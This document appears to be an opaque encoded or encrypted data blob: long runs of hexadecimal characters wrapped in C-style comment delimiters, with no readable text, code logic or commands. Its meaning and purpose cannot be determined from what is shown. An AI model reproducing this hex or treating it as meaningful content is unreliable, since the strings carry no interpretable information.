06af5ae53bea74a6be93f11ab668c76c8d2129a4eac9a85561e4dcf08e2bc00d732d7ad921d13de4abdce8816fd81b5b8255b962d8cdec75b177d86434a0cb7b0485c8f3159c9a7823c34d0fe89ab166db7953d704181a77b940217520c7ce11347335640f0d0229300b6972037ab47138f880ee66dd328beefef0d5f170e1662aea35e5652cf01e45c4bcd83f41438ab9dd39caa7e2165339d4aeedc411fa700a0916dc6147cd791def5fbea455137f8c0bd806a93b728e2f35073607df94a155f2099bf99c74c0f06cc6080c18551d46e8dfe2520262254e420beafe2811095008af8e63cf8b6dac34bc1ba87757ee56d210461a0253f7995291281e117b5adbd73e7a3b10a31a1a13907598fbdbd447cb451023d469d5a5e3b1c1b9c5f8d5ea6bbfca198ed1259c2ebad9082e45019466fb754cd1f63ad084b00a2de63a9896ab335f315edb531e4ceb19452216d90f3ddf2c8aeca658a39c08d510a9e7424bf934f62ec9da485242380611e4ebe2132098fad4c8b8d821971a4030162a7ec1b4f9a93165183e36c7cf0cd1e5a9a5cf4d55313fc37c6ab383c2ccd34f3771e5fbab57f234e2983a9e57d1da86c61896d22b8fa755f6874a3503ccb8f88a107b7f297397ea9c00f2a8841dee2793fe9efbe815c3417b19dd13d97bbfdd0f2d0d41739bd30f1fb790311806ee052ce10aa879b53031a4be179a1997c76978f7442d8079c6cbe6e23b1573766cdcbcef804688f90e39ca01bc74cf74511752998aee716d06973cfcfd30398fc0c5e23e8d98bcfee3f7bf439eacd5a1e539d3c6629117742e5048df31785a5b52a4e097fc50c2b38519b0d0b6fb773eb5a960fb2d4bfe268f60f3803b13e4c0381b6adb0539b11fd556f00b950341004fc4d496fe59063fde991fd27775cc043dba68a0b6dc75751b5663d03a729c8c531f967d287746bb5043ebdde9e9056a66b5f75e0df9aa8adb8c506faad1c1befa5d12cf02ea8ed0fd2f33e70d90332a3533b57a7fb11ad0f331511e22a8e29b017d29a586869113cc39011e7b698550fecd57936bad05cbd89eb1e400821284eeff64edbd002be609183e2edcdcc81c038130d6a8d4cef71b56d07bd425a83343d7fabe53924cd98bbce2e2b09e43436da6c1048e5d82f6a34c5c1e1b6754f46e4953f9ac9d9637a35c9356216f4906e9bc4763e30c3a87979868ea1fb8d694e520c7ef6204ac0e455cf1bb297ef4b626effe1165af5c9763efccce8bf7c39ec4e2386e79e3fcc36a7f4bbd436b5f3427837cc8e894ce3e3eb90a335b7fa939cdfe201504ca67c1081c77e1cc60bbf4f6dfad3c18b1acf178cb16c194350e4ce2bba20c5f19f64e7e3b434dfb51d5ad3537b147ab096fa8e682803c35a6d2d62aad8330bcd43cb63b27a5d6c4ac4ea20bda867e9f8ee405aeb43dd3373d93b6c628c6c86b2618e0df7065f7c5dbb414db4ee6*/
/*0621c8099154032107d42c31e29544a02be73d02284770a6677b8961e51f0d0d113180f3945cab93e0e2c622b43725a75459590e66948c5c53fc1cc67586fde51be31e4b7ba56b7eb2d3c9e11846f48fcc9beaab286c3bf20ee571f26fc04d9e4200aea4c88b30444f507c0c336611fb345fd01b16a567b97816b7bb95c9e3081d52de7a674534c066d386e61b3b19a447083de06beb34b9d0111697f1a065890e07832ef64db6435493be833129bcc51a8a5aefe53fc702df62f4fdf904a712e5e141f687a138c643c037f8fa530445571570b03477244f294f2972feb05ff9d3b10dfcdb6446a174727cbd6251fd73e721a6c42de5fdb2f54993a78ab283eab046620ebfa848ba04a71462bc3c29516591950f02c1f530a20f9e2e7073097203fb8d0a4c4594fa07517168cdcf65873dc307665e45759b3c25155f4995c3aa1543c5bf8a6765743a0f786624dca5b81517026ae459cc18b2e1f25cb68c74021ede222af4564f01954ed7494e86b4ad832c3c33f1907812490c953c3583e0e4d99613e763aebe9c8e5f6ec26e69a2a001ccf11f76c1b66f634377ba785bc7baa932265214f13dd00fc12746a9b83cddd6896dfb3785667e8ac283223dd7fede245c63e653cf0b96361f18b7c4460ea4e60624ec8b8dc50b695994fbdb52395c8807cddcc3523dae5791a3183ef5f436e2b4096ba55f72772e0645097e3e1d644229727f4eecc70bbedbb45fadaae2b79608797df0ca73cc01a9954c060733692719ccc9e44378e4434da7b7bd97be508b8a0f249f2d3daf28d95f24f2a63c1ae2495bf1687497fa78e5f78fac54d5e640e73caa856a0220cef4f86bde595d94338bfa3bfc5b99f7b775840779c8f305ad32ae282c7fc1dab30054870e89a2d54ddea6bc6b8af98db0d3926143e8a8acb240807a51cb2a122d211b46e617bce2f73a89ebed46ac5eed3eaba06e408297cd4ac7e478984eeff04ab5a71f3ef2cbfe75c06d1c07b5b1d068f78c4a1d47476abd44e78cfe1d0f20a7e0d5bb3d06ccdda5ed4b596133b69d47ce9149d19892f1a55e215a68a2e384d3ef7ef2697f49f3b3dbdcb6f912ab2d6277d3d139d9090e06c4c82e890f8c7ea60d2f0ff8e4e3fe70af5e5a6250237dab70bd569ccd3196a8627b2b88f29ae36f560e4a1ccf63e1fd2de2a5acb009ebbb6cd965849c1c2fb71e3172cb307678e48a642df58b41583842a945591e00f21c32501e5faca6781be57177d9a7e296c5f00a2c9e288bfab8c76e0ff763b97052fdc2c1bc051217e895b4df175a2caec9c6defdfd761e90f0afae9aaada3a68cec5df30b2e8779c531b9aab43a0eb99e973b88d689334774451029344396abd797d9467f44146fc47624ee3cb09859d0384cc4ee0785cb4cfab20fb14c01d7d868469305465f643957a4337bc1629c97ddd7a584e50ffba8751d8cc52b04c3e4eae9e675a5ad3d9c120a20b72454d429dd47535299c85a72c3baa36e6cd64272598681210d5601a1789a9751a5aac4e030803f41ed1a270136d993c99800e15774f7a585720c7e640f2df004f937842b8d13c155ad316620460a81801c03ba172e1a580ee7a85a663852f94171a44cad556ff60a1ab96eab0a484788896d9a95a6d3c55aea14eb9371311cce792d661e6edcca2647ca909c5ece8a5f3396da687439267c80b2dd62481db23c4e4b63d2cccb69753be13b9738af6523d2281cd4383ecaf2f9449932bfa63389baf064fdd65bf301de5a843edda881c50245afba19b8642465661bdfde6f3673fa47da64d74b88d125eba8d33423ca230f816672a50bb93da0a9ac2f26d925eeadca78101cc3b3a761ec14bf75e8e0fe619c0bf1db99bf1dd36aafa1d40fdd4453de4f29b16b593771e51893fcc9a73598348d338243265ab2648a18b91b5a71d87f3309337fed0affec6aa3fdada28f559baf0bb53eacdd76e6f72cc690fd0fe0e8cc4e5b47ac629325473cc18811f934fb6070ffe5d9dab1b3131c416b033fda493067302075706006ecf04b8ca88ccc0c827e468bf330499e89a0d8f467a26a9e88bda1cc1baa3f81e3cde84112d3c4588d3dd12b1d1e54afd51c748c4651bb59edd48322ae0d274d00b640bcee2545666002c06fc7c0829d5a982f11c67cb663985562b91f39fc366d682c84b3d8e215bb76b6c8c3179967dc93e8cb88f64305ced8986e3ee569e3e88ed80177113d4c73575d2a4e560dc646940f01269070e7a20ddeb7bdbc5632cc65fbd506e8444f7141a081eca4e5e5418d8caa205c039c0bb8976fc38b222b5d161c6a3326d2da99ca039707b08f0c32669f808f0e473a405922e5d02f61b6e1416fe230abf2ea116c533be72611a5178287530bc26d6031db8044f14c5f84921660e6fbe612b717a9c5c91c5ed71ba4b2bb583d937f6d75f7288a01e7d349968e6b500bc2515eaefee0b54ef28b4ec827dd3ab35fb46453b503df15a1844331600281e9267fb91acc914338d0ef22d18fbedb700b41e7bfca8aedff61ea236996fc4ee99a8354d41b6689d8e31500a280dd809f58ac9afff73cd4f7eabec1918462c1ae02bb6b35149b2243e5bd5f6fa925dedb24a51823f339fac02b99f0e7334b4e089ddc8fc9fd639a3b1701ea240fcf8cdb5ff3c03808114b41e381b0bdc1b7771278a95d8bb6f8d84877e5ff01aa457c188fbef153283213f650c039329101442df64b61c7ec4f34ac5d2b7407fba015178976760339938c268f07a9a6171bf3f7f8a691a95bc423a00e215501d6ce1df4556efc26831021f7c00bc148d28ecbcdf6c5f8af131d4607c550dc5*/
/*bc6c85c32afcddcc37fbf18b1145e0afc6de17ec4567d32f3f311b95c74ce9d17e4a91cee127e6995ebfba3cf4364fe658d73aa102cf2de5193bcc5fbc3128eb6e325b0fecdf17ee3da95d68a5bb3b63226d9dfc2e817d6a394376cf68958d92268fb6a95cbac7423416235b985c1bcc4ccd8225bab8a99e9b0028acbe566e19832c6afd9c49580e3a208720e0b6c1bc02b0551273ef2f004d331413de5dc6d07c6bcf5265061692da5ee2335588b150f55e9b328e1d026f950ac13263eead8fd8cc8c5f7f2718ef7b8cef578d9fd36969076ccead96e1cd5c5ae8248e36c85d1953facbb3897c86cfa8d74077e397542956f574708ee51fb3344b3830bf403682f61cd208743ea86cfb8113cedef7adba7bfc3f0d177488410619c6a01eb3bcaf6867f747918ac9a3bfe42faa8c163dd5e7fd3ac5021b0d7199a389d85e12e801b03925bde639f95b13c87807f5d11e6defc9984dbfaeb6db8c4e9e8cf0bf702234c0cea744806b5162c9ed0705a989f0a4b38f872efebb988c41e359f1e94fd70f312ce250f5c8e67e1aa6a1ee249601f175cdc1a689d44b3ab30e2164855a2a088b8bec76dfeefe0686ecb0a5904b49f1d7f2a74fb585d9cec45e8f4f6673a766577b67f72ff37918ce4ac820eb45614c9731202825bf850a0bfa9a23e99f1541bde0f717662b66926a835e37cfc710445c0ec6158000af58800f71c8633e1a745cb6cc805bf8a4141a977207c3395c330d3fd52bcec059ae27b59ae817494eefd527594287365545f75d59af0efe044e7fd88e16c7633f0f49f8cd276dbb5eda8976545cc431b8e0b0db14ba0b99d0d6620b1daf5feab2fafc8bb9ee9b3c130156c458e475bce5c0afad42885438404408058e2fb4b891b28e82f277461914ecd0c40e72e1f9767e5f98150fb9354c18a01a9feef6eb0fad69270689bf940474ee404b562d10afad622abdb929020f67f5cc7e1f797a3818015188fbc076afc50daa05be6f6006628d92a18b4b4f9d0d77b543a98a8a80297c87a9663db684f027be8fcb3800b16eab6751c783e79f3c2e1cca36892185918c2933121115caa1d6556e9493beffa31faca354af33259d71f836a3ed39dadb03bb30fbcb4d0844667c7b0542441b63091b90eea285ae7753aa18f034d93d6f4e34258f5aca2761e49b9da01160e9886b9986688b2c3edd75206510c54c5b2db2e58194abc69ccf5573b516b312d541bcf46131b4e1a7e1dd31a15b1c9a38ece276081f06f95f8e7ac7bdbe69f2465f39e3e8b333b7ca861ced83c98ebde71e1cd26637bf60f26d110574dc597140841e3c71f9f29180bb1e9e3411bc11e23d31a9ab431bf3f146ee17b1023cb18c6f1ad1d2c0c7057825359865b5f4d33f09f22c27b7944b2d75526b1dbd58abb68fb4db53489ffd8f0d959e1b4bcf15c4ed59a5227603b06191c89d151c142bc26e0ee5b0444a7b54dd4754e8a7ab1dac271b024a6105dfdf46009f03dd9210f6ff2bf51445a59e0351f7c06b45a948ca951aad169fc0891ee0174eb86defe7be449b49af06445999ca79b28ef3297edca67e72988fdeb56e6cd94d022d77eb5aff2795202b7f5fb3ca3f9ad54eae880123726b52e59939f2155deed5b7d485d8f103d6db16c8a0bd49a08b4fb61cbc0e6fddba3e4285cd6be13781e72448e090dc80b5616e03e5aa0e6c96b38c4435781fcb68751c85b682adfc3e6f279f8115e3eb03abb642ac55e760ef0eda3e68c80a37e7c73428fece1af394810fe30b5b0e3fe3b8789d2c1c9d764cfd68610ec4839528849a99053e5235dde41b4cff808b6e28a54daf25435df454bc932eaa28df91ed561615296479024272ec6bc00ec77b042ca0c530ce765012436309068b26950f761b5e3334e5c3956476d1c52da3e5e3234be8ceece21f6978c9232e1cfe457b25e36eddd5ee69c2232a409a10c8f9e8bcfdd192733212ac7df6433babad05ee5ae0512c81a5c7b16f677a2e9ee5ea3ed7266ae7f4c91b04e267249a4b67c64988caa8212f448401eab4f211e38b18904fc9f8e7ca7c7e6c47c7cbb92f58c437efd37ed3049dfe2afcd5f9928c15ba3d3b0310f0e01a0e0a6f8efbf26daccb27deba3dc636f5d70d77b3843c56a02ef005e835ab3ee0029e931fb62e30733a61aa9bdc43318ba02fb0a124a51e653a90f75bff14d3bd17f1acfd41de37b1f44bdbec73a31f35cf63d1e1145f5943105cd3248602d4c1d80a68b37912401006e4f13054e1dfacc79d190dde3b9e507b080dc48bcd4c90d4dd8bb19ba0ea768c04a7be0406574caef6339669443eadb2878e006feb4832e4379ba88cb5e6ebf27f896280ebcc5bb317f7fd9ef192be0cf4a9791092622e994b1de1f99447da60044f15dde15dbb5e8478710b885d79fa7fdb48c6dbbdc43d57ae5870c4ff57e9291692add462981745aec8afba4ec5edc72b0506900882a4acfcb4d0ced6ea454958ae59f52ce87544045da9bdb91a4c06462be5e50863ed49014e26f9fc2e081798553f45e395489af8fa8028310642dee3fbf32960bfc634fa5302ec2eb4ae051a46ce91f1ff2c20c11a5d6ac16401ffd98797ea390deebaa37be14ef2663da739bde1657877e8f2942c30361448e18df6899aa4951456da4b15034e0a6f42a8a2450a2448fed03d17a4219ab50a6f0952c32019ee020c39408bdf868f92260fe76047bef7381793b65a98e4b01aef2f255d73d51dc5f437b214963bf46137abe3074598b2de3f06a9ca3226b97018f53ec608430c78b8b445b1a6126a5a832341a2076695b66c84d687a838916ad16a52d7e670*/
/*4dd4e9799433d530dad8d0f12bef862a406f93e9ca2a457f4456aa695b45a8d24e770f5c32240a6558ada2dc0b3de856b2c44224e2bc8846b87094f0894f03d19fb5320e8befe68b060a1c1d5df9d2a0135ebe7a6a538a76579c7a32156d3e5f7fb087dc1ae150e60e6856ec5794e10a7245ac8ac1a585c3dca7d414e98a95aa2966917f62b641ab1d161d57eea8929053d2f36dde58664e2e9f42459d165de8ac9ce1e7be04fa2321731826d36290991526d275045de61c3744d04bddb4bc5701dc0f37ef34e351d6aaac02b6f9f9aef294aa6f656984eccd9463d648c8190c4a77855f7adad9976e02385b1efa2fde4e6da40bb0efb6954b472c62b5a478d5e37065d469f35630df603de165deef2bd3c68b3b31668c4c64db401fa4f75dacdc7880dbae6a5a8b195c87076f671d815b0be240f274e00a8d0accf9ade57c204a5dc2c0ad659f43aac6ccc5f0651994384d8c18308e3d860cb1ef485a3e0c9df804fd45894d94a288c2bb768414e8f09523455bb5f5db06d1fc6ccac16ef7130b89769820271c1c6a7038d9f1b9519b468a97fd70ab4d6179520f8c973f8310db9257f863b1fe5b73e821065bc609a2d1610b762fb1c2053467fbc0712e75cc26ad5d137b9401f4c02087afa93747907a1903b895a1b34b0f67bad323f24e96254d4a7b228c3837905cded24d56d3d3d384a12f2da7202bd959075a8b3eb86c24aec12ae0635352a1a0b959b1b2558c441f93d5efe410993201a4845f7a3e278e204c1950d3559e37ca1d280c50414e95537c3008805e882a7493927b7b22c7f1b892636378f8cbbb7f08d949eaf6239571924b9058095d8a67c75c88ae245b1037630713111fa54c3247d7b95fbcce7e218e4a2b7d12356d60b486cfdbb8710ef326136656ac0d64451e18f1ccfb4b9d05425aca678173581aab25770fb82b1a3db032b065e032f0d20f4ca5b08c8706bc8190642e1cfb1d0355107489d12ac691c5a10f23393fc7fbfdc8cc307ace38b4bcaed77165bbba7d8d961ed209a2154ccf46192ef41cb22797a9dd73800a66dab4ae8cfb7244d1126de63aab9dafaa287444cfd52c8004ae5e745b1b40072c9eae3f7b058ecc9b21d2353f5de35e11a992095cf1d9d20e1f27ce373f758a5d48009534eb0d31c439bac7cd3ad53d80a99b15b4dc284ce37af516d8322bd14236886bfc5877ade79935f5983b7facbd1047180784ba1f976e618cc74efab610318999344239a449d3c31fb1c5d1191fd05a91c25ab3ad4ea32747cc276cb0909adb750ffd4017399529aa4b85c2e16e40ad486381c58da9a1399f82f99b7a34f9914a935c76f8ef91669c4cf43939e6a634b84475c1ff98c2cc69ebad045370a849bed03c07c358de8e76d58ae0436044df4e3f0601e230aacbba62333530e8c73faa9972f1230d894906300ea630deadaca1cfc11e41ffa8dc134fc2be5d84109b89323ec1e79ba161d65d8dbfa7e02361e6b8ed4d7397c37fcbaaf20fb1b0d1bc3903c51c807cc8d8497b937ec4e7e5068569715efbb6136fdd3cabdd342e6bc7ec76eec799e1a8d91dd33d94bb0fe2558427392f39f21a431e9024d97e2bbcb19575a87ef9f419d8134121251fdb7d869d637a52bdb473f5ca704733a81af048477af8ab400df129253a500e4be3e5890692c5b6827851bed9596e238120b19afe322861ee9ba9bcabfb8375cfb4be5dfd04386f61a17f1f269482e46e122a15ef3ed982d408f24d261b99f55af691e9349b905fbb5c5deb4a87072e7ab96700c809313e8e48f1d34882016ee3a79ff683d993946faef10e6935bfc5d260a0181a0bcd29f5f9e9a4d9f92a57793eb69a3e0f3f0fabe0af4b3672aab5af8ece8b6c1cab7cfe14a2d5e4d2083a8225ce03fc676539623ebfc607fcdc333a9fbc42ff3c45498f013de214189cb3d5abfd60bccfbe21b567ed391f3c1ad9534cd6c1d27b2f2b821d17f0a92dbe4de88b8670f85b3cb253d10294e9b92d8456bd69164ecbf5a0994969328d5ef707260a7e943961fe58414481eda4d2800706403d1cd2316980b4726f00db09f56c307b03d718ca99f205d98ccb588fb89a8a5d6444eef586b202f9be52cd5954e7f2709b2751a38c2084703702f016d4f7a8b686b8bed093fd702090f6ba2eb2a60c1ffae230d1019bb6a92b013ae70aeaa3a9e63e53524bd7ff7b3798bd2fa50b35c443a070a9b2123f855d741ad609e3b9e6909b28333117f545bf36b85331cca3ea5bdbb24401c5b6c4d8589b0b2a8471770f484949557d2d7bcc81411ee196986b0c216f4b8bd311ae9cf7dabe620aaa08090549d491523fa357cd830f99084b333a0191cf1fa8e06e1c6d709fbe25cd2878ccede69a4d41cf7e30301dd3182235afc689432031c0580ab644871cffea411f0a1e8ce4eeec564f66dcf737423007fcd85a32010389224d77e7d43e5e22deec722b659a2616dde17fc13aa3ac762b108b5502562fd31a7d83cf8090c83f7c5f4ffeb274b3275390b10ff7f1eb6eea21c5128b326b34fe60d2579daa7b9fff446b1ef52fca846559aca8ca1260cf5b5157ec86df799bffe7364366037dbb3ee28cd26faf2c43b2fcb7c6a0dbd2db37a2a17027913f7079b81881deb1ba74613ac402b1af2357038d8f7fa34181d57ce279551b8046721a901903cfb1208cf546843b3505bcfda7790350fa5ef8ce44c99e8f75bd27845038c0d39b1210cd40157268f4b68f4db6e7ea89d42a65c79068450d53c442823c1d4f7006aff48b139058fc3ae2ca0ce7e9b1d7598e78016ab181c1218d13b94df7d94a93516e81*/
/*51f426cbdc20ccc7fe58588591d3d3038af5e9557840e9c7df96ade550e8761fb9d9f2511af8c7e563c33aa1201781d213db496fead0abeb726d177980299c0e691bf0af22f07afd8c21b1567614bc83cbc7959e9e9bda1ddb604418bf1b07eb0a1736953e116d679582635eaf54b754fdda04a7ebde0cd5fbdbc4326a4abeaf0de8365038a3dae2a2b3773fa2c16a9b43d2b49534673438efb618b62bcd2d98702bd28613a46d57e75b29c053f80cb8632df686b31f1e0530f1005365d4b7632b0c64c33581703a81dfa673ff6dc09a60e88eb5d32553fca2447a02fab586df46610ded1886320023d4a5f9dcda23ec86e926d542f842f1d74db3eec576861860a109d43958a6e64334f97c343634c0a4b51908c806144faebda7e7a95f5884ea76931520466d759de39f435b8ddd6ab3ef7abfd42155b0cedd62a7fd01cab548a4d27fae35cf6395dcfba8c772a9385143ca55a24b622a0960a4962b5a6d44cf56dfde3e0e985191f7500d7ab2deac2137cb2e6ea95d6c00083826e4a0a4d88d52d668a4cdf8e3a5ad15cab7f85fab799f36ff9fd85d73971ab57d6933aeaad4c9a4c253f49ed8a815fdb7b9342d70aa56fdd313a3fd0f260002f207f2226392a0016f172c62075f285ce55540338386b58c4e42a0b0166ba0280a017abeb8251a8a8bdad87b132ffc73bd63e91b6ef41e7709dbed09834763ce49ec15364099f309b22a2d86f31adf8d899ad6e17caa7d2a05050a82819fbff5de8f4a59b0533894bc57a2c1103de5ba0db1385baa295b862b865fb753c9c4a6ffc6a0db0ee776d2ad0c5ea3f10e702342c2e698cad01a806f926bac7de892882dd4cdd0887816b8ae6bcbbe1e7d1c971b397d95b04fa9afad3eabe8083e69b94b8ee348c82f1ea6d687d84907532fc447b58089cec5201665a8f70c0b4a8c2d0e150d427cd4db6160cdbb3bba08bfb4eb1c561beb76264e8cdd34b17d63a2a678c81796c6c70a292147f0cc087360018f79700b92e69307940b11a3a33456c4a95e267ddddefc3b77633ce58e666f4a001dfb4b9f2fcfe194de83f12b4cad0d9ce1e9a3af3217045e3a9f1ae82e145fff042b19957d650b63b37ec984eb246e4cc499d63af9eba04f75bdcfa4ce182f85b619dcda9150c138f28c687eee303d65108ae79afa386eb62974e37ab936304428c85342acbd2faf3c8b0a91ca0bb47de7eeed258fc08d2a1b789b3bcb2eea4c3bbdcc41f5e360dca330e8a108958bdab4c97853eb236da915d2949d57e1e1e698476e1161be224a83d8f98f1185a2f4b08b610b1f54f14224409955ac0cadaafc28113cc848309045fa4935471a413950d934655c24d5530be31dbdabe8495aa9fe44637e3c2678ae9df996f69cd0f633627d1231eb7c5c419996d15a07c0ce81e65343badcf5f2010e3e91c2f27a4c72797c37fa45871032c21a1fc4d5c295500a9cd5d2829d68c106821b1cdaca38c6751eb63c583c9d7f944f4aa8020ee6e5874af13a1819fbd26298381798eec7deec1314c8cede34a354bedf199b10dcad87babca2e0b9e99b9596022f05f4774a738b7b24d421d1700d2e4e18f0b04112376329e9eddb718400663614a8f1a6b2c40698d9c5bfa47dde7e52614845430ba6b3a4eb3dcb16f9b880c110af28f2be07c78a32291d82676e959cb3e2d6217601d882b786fa1d3bbefc133421d3b0217512470e072c37c91ba6ccf06c69f5b0a9cb2728a57fa94c1eecfad43a66d5956ba1d2e09459ba857396933c75ceffffb0ca39ede173bf285a80e1a3beece70677df0e859fb5820373188677b9483a60b7b307e2a3ab03487f9d3f5c042375c13412c4034c20515b023469a424d7943c94580c37dc0b41a5ed8e63c6711d5d4406c6cb4768854823002aa1fcdf3de088113b2f066cd9ba4624695096c6ae34d345479b45376eb809f8ae49776ac1fd7bcbe0f0ad9e8cdc3e42a71d85922e79e72f46e95cea7d7e2bc3a0c51c85d5700bc7722c58b6b9203f7537fbf587c09a8d5a1bdabdf29897d2fa9d005f9b80d56c3e0c554ef4a933584dcdd1205927c5192af47917170fd13c0af4c10d127d1554c5039e2160d7964fdc0e0c72f36db50cf51061436e4c0dc2296aad16bcb542530572b8ba4eba5b3f00eb42e8199fee80f5e098381180a18e11b61161dced0ef79e4bcfba44c78619bd77f3f1467724446f8b9e315868ae9c3a5728cf8333a88535a9c6c89e84f3eeab5bb03ee12f67151bfa6b978c5b31719faa0ebb47223092d6d299bf0cfbf56c780d523ca6bb82d1f3c837626b67561edc5ee7243ba546473819470d174126780edac7ff288d7baf486a5d967edcd0c482717d4aa5ca289f9a236c38e868ce41f3e4240bd32de092a45579ed3ac0c8a87368937c8345c9478456c1ec5485605f7660c4e551b8d9889f71245e6a66f3fd7b1507261aea2e4a5fc2e8afaf83b3dca7a111ddbb656e7669d7e67fa5a66c7316ee8ac0641aeff7154fac448ac9ac3f0c366c4dc03c66d27d2589650c2815a9e46fe53a9ca388fb7f1608bc4e665fef58beb2ec5a82537263f9ecc64af4213321f06ce91ff45b35c5c38ffaf4bcaf9c3541028de6dea603c350382c78e0bd94937ef999c9ad3ec5d79667c607f87e62698916e0ba09a86f8446c2fa598896a0b3942d256bfdcf0b602e925a14e1bd6beb02bf7ec87e74c66b2f56e86538374019b1fec9a6880e609c6db69505dd83346a3175185deedc287272f31eef997cbca64f385d6cd139b4a29e61cdf73cefeabf0ec7d92f13c4fead3f7246cf44c3615b9416b174d72809e48c75*/
/*89858dc0ec71f129f89a2ed7d2f1e55cb9587b9d1a236db059e5d02f31bd0df85c06b1e2dffc393ffec11c93c778a169416ad48b259c0b7c267deb8964fa16b7638528b7f8a39b5d12b3dc4696ba6924ac12ced8646171387ae730886f1e4e553be4044f86b6a05b56f4c01e9c9acfcf304f70a8dcd15d47d31210c513f2d7adc88ab8c9d6ac5fafea4f1c7b8522e26c5ab2550aa15618de128808e24bba82075999d0b5f1e8d5febc467826241097c623c2de2600caf358b532033e6198ad23eeec7444ef07cf1d79d223b4ff51de5389981479cbc66b3a4393cb7a2a76927959c1c1fd6570ad11a9810829aaba596820946ee864c09a5279f860f9c36a4461eb2e437c54b9a183a49c40c4252037d2b16912ab817d54845645b3814f9980f8589b43c4cdb4d90ddfeb182023ffc64470e7fda19e66595a5602c769fbe46cbedd772e917cc4ec92ef8a428bc9cf25c065b2b9a12c2c56aaa5300f84ce34919d8b641bc0dfc1f31d64ffe965b21e1c479641873cfc02bf79e49009df8e0967088eb423af310f84bd130f6f6396da4e969f86009412440879030894c86b52dd85aae0050c18041333fd30175691352d55661689dc9b4cd7cce62d59f870f5fdff4223e5c2118debd6bcb5a12cb4f426ed718f72c0cff4c3b4a3213b5352003a5dc9161a6c0a1319292d3d504bcc8509f92e02edcdb914e9f27d6db681cd602b81921995f6eab32de58338be1057061e1e5b637949dc607480f67d357e72f21c8eb9660fe4ccce6d4fd1e550e3f8a7c6544e29e4492189172d962b2b8b02aabae5c846facce831d129a8e021171b70398f10dfadb0858d1b62dc2fe0d5bd02737d3766660223b4e20ead8fb3c94758fac51361eb67a5906f74d171299622f091165e287a907da65ebd309e71d00279fe7f5498b160ec286d276109584dfab83afa355454644c61e5cf03cafe144da1f74c549a4228ce4831c9f8fd71b37ca3bfc4f81cf3221738d15fc2d88b7289e398dde3acd211ddb4a695243de9606403ce5f3fa86e034cc6ed822f4a55d1ac7969b838ada1dde848eff347a82808a1146725d6dc0d7059fa3a7e7ce5ca676d4811e4269c6a02d65313d2d36664d5c14596e37512abac1eb346741dd0feff084ec0f716d3bc72fb7928e9d21c7b3321b048a052e7b7e6ccc1607ca68f98183ef7af25819f76a49219c5acc3ec96dc66130e9ba5928d131f7209e8cb63494926d834747e7f398c31931132f0c8eac74a006da2372fb95a494b0aee7ea03dd6f2207499792e0476e6a528f38e9861ead12ac0050c55dba7826ae310c246d7344f2ef3f83be4e143164c62d4eda4c06809ced48ca995f5f0c918adb6227c583df3d2c615d5d3b3d8478de9a054e411c865a16811ca0c115b31025254f2580c27a913b5c8e671c8f7256d39f317cfd6302a96c8d0b12013807176c21d840ea611945653825761e17f163479c1f0ea609b2d145f7949d6fef52755477c3b9dccc5c31463c8d5c8517b115c0a751aee80468cd3027f4aad2d6145944eeb5a8cbcc76bb50bbee6ee186482e6c09ead3795216623c5dcbf0830388b2621069e61f6757d815d2bb64ac586bc96bcee32f8634ed45774f3db7755043263a388f8094477070e04af49aba7bd4eedf67d0aca2099f902f635dfc94d54dfb9c8acc382a548376357442697e19d7439d698f77f21f6150f1ecdf6e7360e0e595bcad4211ea03af297fd3756568b86eb65caa82a1173b007f88b93a10372ffeabc52f46217716547351ddd7c40c6905a87ea356514d0110febcde5d50240309f10c200917fdecefbd9c5922b7b7b213221f3eccef081164547fafcc3bb78f2c767601cd53a705d856de97be58ec89365008e70b82a8a871b078d45302c1d525a990aa91ba346d7c81eae1b4b11593ea7fecd5abda9eaed31d9a0e9e25c46d3c89fc897547daa00817028a8b5a06a2cf41f58510bfc020af2fdf43865455ecffc18c2200bbfa5b0b0a77ebabf7c1c12f970ba78352a4ea88cbb5f09a0754c282b8400b417a1b076a05e0b84559de1c1c456828f4340592cde458b4e4a152372626c614bad88493741e8c13452751fe023b0571367f1491c3e2fa6c4283a76c174ea3a398e70140cd9978a40d7bfcc70510e1968d77881892270cffc9196c14ac93c425eccfad7d694873ddc37cd094f52992b189a6443ee421c0eba20e51270be1caee956ad7689aa52e2f2d21dc02859cfc5779b21eafcedd8918dcbef014024dba2a5e0441551040b65a2e0ad88236777a2e8ef84c556b34814293edd7727caf14fe884eaa700b75579c438f3208e1a2aae1753daf7bd69533233fae7b9b55e0494f8fa2f7555ebd6d0091acec9dc563d1b95d4f5ca9fcce9fb2167c285a8cc5640f8d9d8cdcf4f5fcaaae915c2527b1300fd6bf2a48bc15c2b5e38ca03490a1e690ade7cf4d815e89b31e24d6838775297525c794c8d7ad45902f56f97aea9a843417a1b95f4ad5036c26e4ae5ad37819b14ac32077d9cbfa80348a4ed2ea4cf26bc6e70761e0d39ac40e2515bd82d857e66a6b89b40280a528831b85c367c7e7958d1264de6549cb02474324d6ec3003cd51be158866fb03bbd84286a07545f4e6cb86a65b0608b920453ce5445926c84401c5203f5d79c51f27832509d9062e625d5988832f7a7a41903580e6b0276d4b69711cbb3ff4c731418fed716b7d02a243c4c83fca09f1eb211a70726f76aa7c8e73f076b71629da28d0ad52aad08ee5a6ddc76f333a5b2eb04f2dc4be2278a6101e886f34aec552b04e92503cc1b55204a4646b2684732*/
/*f6936739d9d728e159c94cbde51b1e793fd1152c1a1fe995e26b7d3a6885a7b3889432cd577dc35b78a164a3885b1cd8731bdde48f067f497ad3c62ed7343209b811c54a4697ebd42d0627b23068a0fad3f580d8b24040051b0aca4c29968fe2d51ae3144334360cdf7199b642bbeef2718a4d5864225a4b2a74ed1f05385f71a301a395c46d1e6f75515a38992c807a543a8504f11d468df2378e1191bc85446dbb9760f6f72de976474c3a3ef2307fe053cbe157ee8d2eeaaa1f45375ee782f9831e5f20f91d1970d62ebb25d0da34a020e4d75afe3e04fdcea8cb96c6e4b05f6674abed902feed889ff9e7a6146a7394f543dbf4c2ab2f42d129aac39f59aed5509cb855156a50a6c0d9b6bf79b2b009f91f0230705e606c2fb0b7ba79059a1c1cc90de47945ad8470c8fd68a5c04f736d2389338d9e7017a55327297f2abea35d1b970eb70749b02048a1b79f6eb16b3a09e85bb4d35edaa4e2beff7bbac59cea1ca4e4d941118f0146919575a8b90aaa0a1b50c9296bcc9cb4498dbf09c9dc4df8402a3da3abe7bac17b93142ef57c30d4d82b88da43b5d1969c05c3c3df0523f2dd2e7cbc388d36bdf16ba85b37a3c890e449349bd52cb08be0be12e903c4a01f0d47ea2687cc0e9aaf333ccb04be7ff505579ad2e916a9c445608f692d8f2609f005487b8bd5c26babf749d8f7a2cc47e3fe9ad77a13ebf1a37d1379a1d6473065587d8cedc8eed81a3460a7981dc